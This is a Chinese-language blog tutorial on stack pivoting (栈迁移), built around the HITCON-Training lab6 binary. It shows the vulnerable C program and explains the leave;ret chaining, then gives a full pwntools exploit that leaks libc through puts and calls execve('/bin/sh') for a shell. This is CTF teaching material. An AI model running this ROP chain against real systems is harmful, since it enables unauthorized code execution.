栈迁移/栈劫持

不想你离开。 提交于 2020-01-31 06:29:40

例子

https://github.com/scwuaptx/HITCON-Training/tree/master/LAB/lab6

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int count = 1337 ;
int main(){
    if(count != 1337)
        exit(1);
    count++;
    char buf[40];
    setvbuf(stdout,0,2,0);
    puts("Try your best :");
    read(0,buf,64);
    return 0;   
}
gcc -m32 -z relro -z now -fno-stack-protector -mpreferred-stack-boundary=2 -no-pie a.c -o a

 

之前方法的问题

buf只有40B,但是却read了64B,这里发生了栈溢出

实际测试得到offset=44,所以只有20B可以写exp

ret2text没有对应的函数

ret2shellcode有read函数,bss有写权限,可以read在bss中写入shellcode,然后write返回到bss,但是长度超过了24B

ret2libc:泄露地址什么的可以使用puts泄露地址,count限制了执行次数,那就利用read修改count然后再执行main

但是很可惜,超过长度了,20B只能写下5个数值

再次执行main的目的是在保持libc装载位置不变的情况下再次写入exp并执行,如果越过exit的判断从main中间开始执行的话,由于堆栈不平衡,read的地址是一个无效的地址,ret不到

栈迁移

  • 栈迁移主要是为了解决可溢出空间大小不足的问题
  • 原理:覆盖ebp为fake_ebp,然后利用leavel ; ret ; 把esp劫持到fake_ebp上去
  • leave ret相当于

mov $esp, $ebp; 用ebp的值写入esp
pop $ebp
pop $eip
  • 模版:exp1 = buf1  + ROP1 + read@plt + leave_ret + STDIN + buf1 + Len1
    • 初始:要执行leave ; ret; . ebp指向buf,esp指向低位未知区域
    • leave:
      • mov $esp, $ebp; 
        •  esp=ebp -> buf1
      • pop ebp; 
        • ebp=buf1 
        • esp->ROP1
    • ret:
      • pop $eip
        • esp->read@plt
        • eip=ROP1
    • ROP1's ret
      • pop $eip
        • esp->leave_ret
        • eip=read@plt
    • read(STDIN, buf1, Len)
      • 往buf1里面写入下一个exp2,长度由Len1决定
      • exp2 = buf2  + ROP2 + read@plt + leave_ret + STDIN + buf2 + Len
    • leave_ret
      • 情况回到开头,开始循环
  • 最开始不放ROP,则exp最短=len(junk) + 6*8
  • 利用栈迁移可以不断获得一个可写且可被ret到的区域,只要第一个能成功,后续不会再受到原来溢出点长度的限制

应用

  • 在这个例子中,junk=40,第一个exp最短=40+6*8=64刚刚好
  • 并且buf的位置有要求:
    • 位置已知
    • 可以写,如果可以执行那就可以ret2shellcode了
    • 不影响正常的函数过程,可以适当的调整位置
#!/usr/bin/python
# coding=utf-8
from pwn import *
from time import *
from string import *
from LibcSearcher import *
context.log_level='Debug'
context(arch='i386', os='linux')
file_name='migration.dms'
sh=process(file_name)
gdb.attach(sh)

offset=40
addr={
    'pop1_ret': 0x0804836d,
    '.bss':     0x0804a00c,
    'read@plt': 0x08048380,
    'puts@plt': 0x08048390,
    'lsm@got':  0x08049ff8,
    'leave_ret':0x08048504
}
buf=(
    addr['.bss']+0x400, 
    addr['.bss']+0x500,
)
Len=0x100
STDIN=0
STDOUT=1
NULL=0
#exec payload1
sh.sendafter(
    'Try your best :\n',
    flat(
        'A'*offset,
        buf[0],
        addr['read@plt'],
        addr['leave_ret'],
        STDIN,
        buf[0],
        Len
    )
)
#exec payload2
sh.send(
    flat(
        buf[1],
        addr['puts@plt'],
        addr['pop1_ret'],
        addr['lsm@got'],
        addr['read@plt'],
        addr['leave_ret'],
        STDIN,
        buf[1],
        Len
    )
)
#calc addr
lsmAddr=u32(sh.recv(5)[:4])
print("lsmAddr = "+hex(lsmAddr))
libc=LibcSearcher('__libc_start_main', lsmAddr)
baseAddr=lsmAddr-libc.dump('__libc_start_main')
binsh=baseAddr+libc.dump('str_bin_sh')
execve=baseAddr+libc.dump('execve')
print("execve = "+hex(execve))
print("/bin/sh = "+hex(binsh))
#exec payload3
sh.send(
    flat(
        buf[0],
        execve,
        0,
        binsh,
        NULL,
        NULL
    )
)
sh.interactive()
'''
break *0x8048504 
x/wd 0x0804A008
'''

总结

  • ret指令和SP寄存器息息相关,如果不把栈迁移到已知的位置,会发现read写入时不知道应该写入哪里,因为ret=>pop IP,read虽然给予了任意写的能力,但是由于栈随机化,SP不可预测,找不到该写到哪里
  • 栈迁移可以自己构造一个执行ROP的环境,不用被原来的程序限制

参考

https://blog.csdn.net/zszcr/article/details/79841848

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!